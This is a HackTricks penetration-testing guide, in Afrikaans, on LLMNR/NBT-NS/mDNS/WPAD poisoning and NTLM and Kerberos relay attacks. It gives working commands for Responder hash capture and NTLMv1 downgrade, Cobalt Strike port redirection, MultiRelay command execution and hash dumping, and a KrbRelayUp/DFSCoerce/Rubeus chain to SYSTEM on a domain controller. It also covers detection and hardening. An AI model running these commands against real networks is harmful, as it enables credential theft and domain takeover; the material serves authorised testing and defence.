mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
235 lines
13 KiB
Markdown
235 lines
13 KiB
Markdown
# Spoofing LLMNR, NBT-NS, mDNS/DNS en WPAD en Relay-aanvalle
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Netwerkprotokolle
|
||
|
||
### Plaaslike Gasheer Oplossingsprotokolle
|
||
|
||
- **LLMNR, NBT-NS, en mDNS**:
|
||
- Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS misluk. Net so gebruik Apple en Linux stelsels mDNS.
|
||
- Hierdie protokolle is vatbaar vir onderskep en spoofing weens hul nie-geverifieerde, uitsendingsnatuur oor UDP.
|
||
- [Responder](https://github.com/lgandx/Responder) kan gebruik word om dienste na te boots deur vervalste antwoorde na gashere wat hierdie protokolle vra, te stuur.
|
||
- Verdere inligting oor diensna-booting met Responder kan [hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) gevind word.
|
||
|
||
### Web Proxy Auto-Discovery Protokol (WPAD)
|
||
|
||
- WPAD laat blaaiers toe om proxy-instellings outomaties te ontdek.
|
||
- Ontdekking word gefasiliteer via DHCP, DNS, of terugval na LLMNR en NBT-NS indien DNS misluk.
|
||
- Responder kan WPAD-aanvalle outomatiseer, wat kliënte na kwaadwillige WPAD-bedieners lei.
|
||
|
||
### Responder vir Protokol Vergiftiging
|
||
|
||
- **Responder** is 'n hulpmiddel wat gebruik word vir die vergiftiging van LLMNR, NBT-NS, en mDNS vrae, wat selektief antwoordgee gebaseer op vraetipes, hoofsaaklik teiken SMB-dienste.
|
||
- Dit kom vooraf geïnstalleer in Kali Linux, konfigureerbaar by `/etc/responder/Responder.conf`.
|
||
- Responder vertoon gevangen hashes op die skerm en stoor dit in die `/usr/share/responder/logs` gids.
|
||
- Dit ondersteun beide IPv4 en IPv6.
|
||
- Windows weergawe van Responder is [hier](https://github.com/lgandx/Responder-Windows) beskikbaar.
|
||
|
||
#### Responder Uitvoer
|
||
|
||
- Om Responder met standaardinstellings te laat loop: `responder -I <Interface>`
|
||
- Vir meer aggressiewe ondersoek (met moontlike newe-effekte): `responder -I <Interface> -P -r -v`
|
||
- Tegnieke om NTLMv1 uitdagings/antwoorde te vang vir makliker krak: `responder -I <Interface> --lm --disable-ess`
|
||
- WPAD-na-booting kan geaktiveer word met: `responder -I <Interface> --wpad`
|
||
- NetBIOS versoeke kan opgelos word na die aanvaller se IP, en 'n verifikasie-proxy kan opgestel word: `responder.py -I <interface> -Pv`
|
||
|
||
### DHCP Vergiftiging met Responder
|
||
|
||
- Spoofing DHCP-antwoorde kan 'n slagoffer se routeringsinligting permanent vergiftig, wat 'n meer stil alternatief bied vir ARP vergiftiging.
|
||
- Dit vereis presiese kennis van die teiken netwerk se konfigurasie.
|
||
- Om die aanval te laat loop: `./Responder.py -I eth0 -Pdv`
|
||
- Hierdie metode kan effektief NTLMv1/2 hashes vang, maar dit vereis versigtige hantering om netwerkonderbreking te vermy.
|
||
|
||
### Capturing Kredensiale met Responder
|
||
|
||
- Responder sal dienste na boot met die bogenoemde protokolle, en kredensiale (gewoonlik NTLMv2 Uitdaging/Antwoord) vang wanneer 'n gebruiker probeer om te verifieer teen die gespoofde dienste.
|
||
- Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS te deaktiveer vir makliker kredensiaal krak.
|
||
|
||
Dit is van kardinale belang om te noem dat die gebruik van hierdie tegnieke wettig en eties moet wees, met behoorlike magtiging en om onderbreking of ongeoorloofde toegang te vermy.
|
||
|
||
## Inveigh
|
||
|
||
Inveigh is 'n hulpmiddel vir penetrasietoetsers en rooi spanlede, ontwerp vir Windows stelsels. Dit bied funksies soortgelyk aan Responder, wat spoofing en man-in-the-middle aanvalle uitvoer. Die hulpmiddel het ontwikkel van 'n PowerShell-skrip na 'n C# binaire, met [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) en [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) as die hoof weergawes. Gedetailleerde parameters en instruksies kan in die [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) gevind word.
|
||
|
||
Inveigh kan deur PowerShell bedryf word:
|
||
```bash
|
||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||
```
|
||
Of uitgevoer as 'n C# binêre:
|
||
```bash
|
||
Inveigh.exe
|
||
```
|
||
### NTLM Relay Aanval
|
||
|
||
Hierdie aanval benut SMB-outeentigingsessies om toegang tot 'n teikenmasjien te verkry, wat 'n stelselshell bied indien suksesvol. Sleutelvereistes sluit in:
|
||
|
||
- Die outentiserende gebruiker moet Lokale Admin-toegang op die oorgedraagde gasheer hê.
|
||
- SMB-handtekening moet gedeaktiveer wees.
|
||
|
||
#### 445 Poort Oorgang en Tunneling
|
||
|
||
In scenario's waar direkte netwerkintroduksie nie haalbaar is nie, moet verkeer op poort 445 oorgedra en getunnel word. Gereedskap soos [**PortBender**](https://github.com/praetorian-inc/PortBender) help om poort 445-verkeer na 'n ander poort te herlei, wat noodsaaklik is wanneer lokale admin-toegang beskikbaar is vir stuurprogramlaai.
|
||
|
||
PortBender opstelling en werking in Cobalt Strike:
|
||
```bash
|
||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||
|
||
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
|
||
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
||
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
|
||
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
|
||
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
|
||
|
||
# Termination commands
|
||
beacon> jobs
|
||
beacon> jobkill 0
|
||
beacon> rportfwd stop 8445
|
||
beacon> socks stop
|
||
```
|
||
### Ander Gereedskap vir NTLM Relay Aanval
|
||
|
||
- **Metasploit**: Opgestel met proxies, plaaslike en afstandshost besonderhede.
|
||
- **smbrelayx**: 'n Python-skrip vir die oordrag van SMB-sessies en die uitvoer van opdragte of die ontplooiing van agterdeure.
|
||
- **MultiRelay**: 'n Gereedskap van die Responder-suite om spesifieke gebruikers of alle gebruikers te relaye, opdragte uit te voer, of hashes te dump.
|
||
|
||
Elke gereedskap kan gekonfigureer word om deur 'n SOCKS-proxy te werk, indien nodig, wat aanvalle moontlik maak selfs met indirekte netwerktoegang.
|
||
|
||
### MultiRelay Operasie
|
||
|
||
MultiRelay word uitgevoer vanaf die _**/usr/share/responder/tools**_ gids, wat spesifieke IP's of gebruikers teiken.
|
||
```bash
|
||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||
|
||
# Proxychains for routing traffic
|
||
```
|
||
Hierdie gereedskap en tegnieke vorm 'n omvattende stel vir die uitvoering van NTLM Relay-aanvalle in verskeie netwerkomgewings.
|
||
|
||
### Force NTLM Logins
|
||
|
||
In Windows **kan jy dalk sommige bevoorregte rekeninge dwing om te autentiseer op arbitrêre masjiene**. Lees die volgende bladsy om te leer hoe:
|
||
|
||
|
||
{{#ref}}
|
||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||
{{#endref}}
|
||
|
||
## Kerberos Relay aanval
|
||
|
||
'n **Kerberos relay aanval** steel 'n **AP-REQ kaartjie** van een diens en hergebruik dit teen 'n tweede diens wat die **dieselfde rekenaar-rekening sleutel** deel (omdat beide SPNs op dieselfde `$` masjienrekening sit). Dit werk selfs al verskil die SPNs’ **diensklasse** (bv. `CIFS/` → `LDAP/`) omdat die *sleutel* wat die kaartjie ontsleutel, die masjien se NT-hash is, nie die SPN-string self nie en die SPN-string is nie deel van die handtekening nie.
|
||
|
||
In teenstelling met NTLM relay, is die sprong beperk tot die *dieselfde gasheer* maar, as jy 'n protokol teiken wat jou toelaat om na LDAP te skryf, kan jy in **Hulpbron-gebaseerde Beperkte Delegasie (RBCD)** of **AD CS inskrywing** ketting en **NT AUTHORITY\SYSTEM** in 'n enkele skoot pop.
|
||
|
||
Vir gedetailleerde inligting oor hierdie aanval, kyk:
|
||
|
||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||
|
||
- 1. **Kerberos basiese beginsels**
|
||
|
||
| Token | Doel | Relay relevantie |
|
||
|-------|---------|-----------------|
|
||
| **TGT / AS-REQ ↔ REP** | Bewys die gebruiker aan die KDC | onaangeraak |
|
||
| **Diens kaartjie / TGS-REQ ↔ REP** | Gebonden aan een **SPN**; versleuteld met die SPN-eienaar se sleutel | uitruilbaar as SPNs rekening deel |
|
||
| **AP-REQ** | Kliënt stuur `TGS` na die diens | **wat ons steel & herhaal** |
|
||
|
||
* Kaartjies is versleuteld met die **wagwoord-afgeleide sleutel van die rekening wat die SPN besit**.
|
||
* Die **Authenticator** binne die AP-REQ het 'n 5-minuut tydstempel; herhaling binne daardie venster is geldig totdat die dienskas 'n duplikaat sien.
|
||
* Windows kontroleer selde of die SPN-string in die kaartjie ooreenstem met die diens wat jy tref, so 'n kaartjie vir `CIFS/HOST` ontcijfer normaalweg goed op `LDAP/HOST`.
|
||
|
||
- 2. **Wat moet waar wees om Kerberos te relay**
|
||
|
||
1. **Gedeelde sleutel:** bron en teiken SPNs behoort tot dieselfde rekenaarrekening (standaard op Windows bedieners).
|
||
2. **Geen kanaalbeskerming:** SMB/LDAP ondertekening af en EPA af vir HTTP/LDAPS.
|
||
3. **Jy kan autentisering onderskep of dwing:** LLMNR/NBNS vergiftiging, DNS spoof, **PetitPotam / DFSCoerce RPC**, vals AuthIP, rogue DCOM, ens.
|
||
4. **Kaartjie bron nie reeds gebruik nie:** jy wen die wedloop voordat die werklike pakket aankom of blokkeer dit heeltemal; anders skiet die bediener se herhalingskas Gebeurtenis 4649 af.
|
||
5. Jy moet op een of ander manier in staat wees om 'n **MitM in die kommunikasie** uit te voer, dalk deel van die DNSAmins-groep wees om die DNS van die domein te verander of in staat wees om die HOST-lêer van die slagoffer te verander.
|
||
|
||
### Kerberos Relay Stappe
|
||
|
||
- 3.1 **Recon die gasheer**
|
||
```powershell
|
||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||
Select Name,servicePrincipalName
|
||
```
|
||
- 3.2 **Begin die relay luisteraar**
|
||
|
||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||
```powershell
|
||
# one-click local SYSTEM via RBCD
|
||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||
```
|
||
`KrbRelayUp` verpak **KrbRelay → LDAP → RBCD → Rubeus → SCM omseiling** in een binêre.
|
||
|
||
- 3.3 **Dwing Kerberos outentisering**
|
||
```powershell
|
||
# coerce DC to auth over SMB with DFSCoerce
|
||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||
```
|
||
DFSCoerce laat die DC toe om 'n Kerberos `CIFS/DC01` kaartjie na ons te stuur.
|
||
|
||
- 3.4 **Herleef die AP-REQ**
|
||
|
||
KrbRelay onttrek die GSS blob uit SMB, herverpak dit in 'n LDAP bind, en stuur dit na `ldap://DC01`—autentisering slaag omdat die **dieselfde sleutel** dit ontsleutel.
|
||
|
||
- 3.5 **Misbruik LDAP ➜ RBCD ➜ SISTEEM**
|
||
```powershell
|
||
# (auto inside KrbRelayUp) manual for clarity
|
||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||
SCMUACBypass.exe
|
||
```
|
||
You now own **NT AUTHORITY\SYSTEM**.
|
||
|
||
|
||
### **Meer paaie wat die moeite werd is om te ken**
|
||
|
||
| Vektor | Truuk | Hoekom dit belangrik is |
|
||
|--------|-------|----------------|
|
||
| **AuthIP / IPSec** | Vals bediener stuur 'n **GSS-ID payload** met enige SPN; kliënt bou 'n AP-REQ reg na jou | Werk selfs oor subnets; masjien krediete per standaard |
|
||
| **DCOM / MSRPC** | Kwaadwillige OXID-oplosser dwing kliënt om te autentiseer na arbitrêre SPN en poort | Pure *lokale* priv-eskalering; omseil firewall |
|
||
| **AD CS Web Enroll** | Relay masjien kaart na `HTTP/CA` en kry 'n sertifikaat, dan **PKINIT** om TGT's te mint | Omseil LDAP ondertekening verdediging |
|
||
| **Shadow Credentials** | Skryf `msDS-KeyCredentialLink`, dan PKINIT met vervalste sleutel paar | Geen behoefte om 'n rekenaarrekening by te voeg nie |
|
||
|
||
### **Probleemoplossing**
|
||
|
||
| Fout | Betekenis | Regstelling |
|
||
|-------|---------|-----|
|
||
| `KRB_AP_ERR_MODIFIED` | Kaart sleutel ≠ teiken sleutel | Verkeerde gasheer/SPN |
|
||
| `KRB_AP_ERR_SKEW` | Klok > 5 min offset | Sink tyd of gebruik `w32tm` |
|
||
| LDAP bind misluk | Ondertekening afgedwing | Gebruik AD CS pad of deaktiveer ondertekening |
|
||
| Gebeurtenis 4649 spam | Diens het duplikaat Authenticator gesien | blokkeer of wedloop oorspronklike pakket |
|
||
|
||
|
||
### **Detectie**
|
||
|
||
* Toename in **Gebeurtenis 4769** vir `CIFS/`, `HTTP/`, `LDAP/` van dieselfde bron binne sekondes.
|
||
* **Gebeurtenis 4649** op die diens dui aan dat herhaling opgespoor is.
|
||
* Kerberos aanmelding van **127.0.0.1** (relay na plaaslike SCM) is hoogs verdag—kaart via Sigma-reël in KrbRelayUp docs.
|
||
* Kyk na veranderinge aan `msDS-AllowedToActOnBehalfOfOtherIdentity` of `msDS-KeyCredentialLink` eienskappe.
|
||
|
||
## **Versterking**
|
||
|
||
1. **Handhaaf LDAP & SMB ondertekening + EPA** op elke bediener.
|
||
2. **Verdeel SPNs** sodat HTTP nie op dieselfde rekening as CIFS/LDAP is nie.
|
||
3. Patches vir dwang vektore (PetitPotam KB5005413, DFS, AuthIP).
|
||
4. Stel **`ms-DS-MachineAccountQuota = 0`** in om rogue rekenaar aansluitings te stop.
|
||
5. Laat weet oor **Gebeurtenis 4649** en onverwagte loopback Kerberos aanmeldings.
|
||
|
||
|
||
|
||
## Verwysings
|
||
|
||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|